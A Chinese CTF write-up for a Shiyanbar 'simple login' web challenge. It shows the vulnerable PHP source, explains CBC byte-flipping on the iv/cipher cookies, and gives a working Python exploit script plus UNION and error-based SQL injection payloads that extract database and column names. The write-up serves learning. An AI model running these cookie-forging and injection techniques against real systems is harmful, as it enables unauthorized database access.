實(shí)驗(yàn)吧web-簡(jiǎn)單的登錄題

該wp學(xué)習(xí)自Pcat大佬在實(shí)驗(yàn)吧的wp

題目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php

隨便提交一個(gè)id,看到后臺(tái)set了兩個(gè)cookie

iv和cipher這兩個(gè)數(shù)據(jù)每次刷新都會(huì)發(fā)生變化,應(yīng)該是每次刷新的時(shí)候,后臺(tái)重新隨機(jī)生成了一個(gè)iv,并用來加密某個(gè)數(shù)據(jù),可能是我們提交的id,然后將密文cipher存入cookie中。

iv和cipher在翻譯過來就是Initialization Vector(初始化向量)和密文,這兩個(gè)東西好像也經(jīng)常在CBC翻轉(zhuǎn)的題目里出現(xiàn)。在看到這兩個(gè)數(shù)據(jù)的時(shí)候,我覺得這道題應(yīng)該是一道CBC翻轉(zhuǎn)的題目吧。

然后呢?如果是CBC翻轉(zhuǎn)這種接近于密碼的題目,沒有源碼不知道后臺(tái)做了什么處理的話,那就有點(diǎn)無從下手的感覺了。這個(gè)時(shí)候,就是掃描器登場(chǎng)的時(shí)候了,我們可以用御劍簡(jiǎn)單地掃描一下。

后面兩條結(jié)果忽略掉,conn明顯是數(shù)據(jù)庫(kù)連接的php,index.php則是我們?cè)L問的php,那么test.php里面會(huì)有什么呢?我們?cè)L問一下

如愿以償?shù)氐玫搅薸ndex.php的源碼,變得好看一點(diǎn),大致源碼如下



define("SECRET_KEY", '***********');

define("METHOD", "aes-128-cbc");

error_reporting(0);

include('conn.php');

function sqliCheck($str){

? ? if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){

? ? ? ? return 1;

? ? } return 0;

}

function get_random_iv(){

? ? $random_iv='';

? ? for($i=0;$i<16;$i++){

? ? ? ? $random_iv.=chr(rand(1,255));

}

? ? return $random_iv;

}

function login($info){

? ? $iv = get_random_iv();

? ? $plain = serialize($info);

? ? $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);

? ? setcookie("iv", base64_encode($iv));

? ? setcookie("cipher", base64_encode($cipher));

} function show_homepage(){

? ? global $link;

? ? if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){

? ? ? ? $cipher = base64_decode($_COOKIE['cipher']);

? ? ? ? $iv = base64_decode($_COOKIE["iv"]);

? ? ? ? if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){

? ? ? ? ? ? $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");

? ? ? ? ? ? $sql="select * from users limit ".$info['id'].",0";

? ? ? ? ? ? $result=mysqli_query($link,$sql);

? ? ? ? ? ? if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){

? ? ? ? ? ? ? ? $rows=mysqli_fetch_array($result);

? ? ? ? ? ? ? ? echo 'Hello!'.$rows['username'].'';

? ? ? ? ? ? } else{

? ? ? ? ? ? ? ? echo 'Hello!';

}

? ? ? ? }else{

? ? ? ? ? ? die("ERROR!");

}

}

}

if(isset($_POST['id'])){

? ? $id = (string)$_POST['id'];

? ? if(sqliCheck($id)) die("sql inject detected!");

? ? $info = array('id'=>$id);

? ? login($info);

? ? echo 'Hello!';

}else{

? ? if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){

show_homepage();

? ? }else{ echo 'Login Forminput id to loginidLogin';

}

}


分析一下,有這么幾點(diǎn):

1.傳遞的id中有一些會(huì)被吃掉的關(guān)鍵詞

2.id的值會(huì)被存入一個(gè)數(shù)組中序列化,然后加密該序列化字符串,并將該cipher base64編碼后與base64編碼的iv存入cookie

3.如果不傳遞id,就會(huì)從cookie中取出iv和cipher進(jìn)行解碼解密,然后拼接SQL語(yǔ)句進(jìn)行查詢,而這個(gè)SQL語(yǔ)句比較奇特,我們傳遞的數(shù)據(jù)被拼接在了limit的后面,而在SQL語(yǔ)句中,limit的后面只剩下procedure、into和for update了,而procedure也被吃掉了,看來不是一般的SQL注入了

4.在執(zhí)行SQL語(yǔ)句前并不會(huì)再次吃掉敏感關(guān)鍵詞

結(jié)合之前的猜測(cè),那么這道題就很明顯了,考點(diǎn)是CBC字節(jié)翻轉(zhuǎn)攻擊+SQL注入攻擊

CBC字節(jié)翻轉(zhuǎn)攻擊:http://www.vuln.cn/6109

具體的思路就是:

1.提交id的時(shí)候替換被吃掉的關(guān)鍵詞,比如union的其中一個(gè)字母

2.從cookie中獲取到iv和cipher之后,進(jìn)行CBC翻轉(zhuǎn)攻擊,使得修改之后,后臺(tái)解密會(huì)將密文變成我們所希望得到的樣子

3.SQL注入的時(shí)候,用;%00代替#這些單行注釋符,用join代替,來確定回顯位置,將數(shù)據(jù)select到回顯位置上

CBC翻轉(zhuǎn)的時(shí)候,盡量少翻轉(zhuǎn)字符,因?yàn)樵蕉嗟姆D(zhuǎn)可能會(huì)導(dǎo)致你需要對(duì)cipher或者iv做更多的處理,所以我們只使用union這個(gè)被吃掉的關(guān)鍵詞就好了,其他的關(guān)鍵詞可以繞過

先寫一個(gè)php腳本,為了方便直觀地看到所要翻轉(zhuǎn)的地方的偏移量是多少,借Pcat大佬的例子

此時(shí)的偏移量(offset)為4,也就是說,如果我們要將 第2塊第5個(gè)字符2 翻轉(zhuǎn)為我們所需要的字符#,由于CBC模式的解密方式是:

該塊的明文 = decrypt(該塊的密文) ^(異或) 前一塊密文

如果是第一塊:第一塊的明文 = decrypt(第一塊的密文) ^ iv

CBC解密分為兩段:decrypt和^

所以,我們需要對(duì) 第1塊第5個(gè)字符 做一些修改

由于:

第2塊密文第5個(gè)字符的明文(C) = 第1塊密文第5個(gè)字符(A) ^ decrypt(第2塊密文第5個(gè)字符的密文)(B)

而^有運(yùn)算為:C = A ^ B,A = C ^ B,0 ^ A = A,而我們已知CBC解密后C(這里為2)和密文中A的值cipher_row[offset(偏移量)]

故:

B = A ^ C

而后臺(tái)CBC解密所得則為:A ^ B

所以我們控制修改A2 = A ^ C ^ D(我們想要的,這里為#)

即腳本里的cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("#"))

這樣運(yùn)算下來,則后臺(tái)CBC解密得到:A2 ^ B = A ^ C ^ D ^ A ^C ,即D,CBC翻轉(zhuǎn)成功

但是還沒有結(jié)束,因?yàn)槲覀冊(cè)诜D(zhuǎn)第二塊的時(shí)候,修改了第一塊的密文,所以如果用同一個(gè)iv去解密第一塊密文,是無法反序列化的,因此我們需要對(duì)iv進(jìn)行一些修改。

(如果我們?yōu)榱朔D(zhuǎn)第三塊,而修改了第二塊,那我們又需要為了讓第二塊解密后反序列化成功修改第一塊,最后又要修改iv,處理量一下子就多了起來)

修改iv的時(shí)候,我們已知:原iv,用原iv解密后的錯(cuò)誤明文,第一塊密文,以及正確明文(即a:1:{s:2:\"id\";s:)

而:

錯(cuò)誤明文 = 原iv ^ 第一塊密文 => 第一塊密文 = 錯(cuò)誤明文 ^ 原iv

正確明文 = 新iv ^ 第一塊密文 => 新iv = 正確明文 ^ 第一塊密文

故:

新iv =?原iv ^ 錯(cuò)誤明文 ^ 正確明文

即腳本里的iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x])),循環(huán)16次

原理講完了,接下來就是腳本了腳本如下


# -*- coding:utf8 -*-

import base64

import requests

import re

import urllib

url ="http://ctf5.shiyanbar.com/web/jiandan/index.php"

payload ="0 2nion select * from ((select 1)a join (select database())b join (select 3)c);"+chr(0)

data = {

'id':payload

}

cookie = requests.post(url,data = data).headers['Set-Cookie']

iv = re.findall(r'iv=(.+),',cookie)[0]

cipher = base64.b64decode(urllib.unquote(re.findall(r'cipher=(.+)',cookie)[0]))

iv_row =list(base64.b64decode(urllib.unquote(iv)))

cipher_row =list(cipher)

offset =6

cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("u"))

cipher_new = urllib.quote(base64.b64encode("".join(cipher_row)))

cookies = {

"iv" : iv,

"cipher" : cipher_new

}

mistake = requests.get(url,cookies = cookies).content

wrong = base64.b64decode(re.findall(r'\(\'(.+)\'\)',mistake)[0])

iv_new =''

plaintext ="a:1:{s:2:\"id\";s:"

for xin range(16):

iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x]))

iv_new = urllib.quote(base64.b64encode(iv_new))

cookies2 = {

"iv" : iv_new,

"cipher" : cipher_new

}

result = requests.get(url,cookies = cookies2).content

print result


運(yùn)行得到數(shù)據(jù)庫(kù)名

修改payload和offset的值,最后getflag

最后提一句的是:select * from ??? limit 1 union select ???這種寫法在mysql5.7里面已經(jīng)不能用了,會(huì)報(bào)錯(cuò)incorrect usage of union and limit,要使用(select * from ??? limit 1) union (select ???)這種寫法,官方在5.7文檔是這么說的

PS:

發(fā)現(xiàn)最近這題好像出了點(diǎn)問題,在select列的時(shí)候會(huì)報(bào)Got error 28 from storage engine的錯(cuò)誤,就獲取不到列名了

不過列名可以通過報(bào)錯(cuò)的方式爆出來,payload

"0 2nion select * from (select * from you_want as a join you_want) as c;"+chr(0)

結(jié)果:


the end

作者水平有限 如有錯(cuò)誤請(qǐng)指出 Orz

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容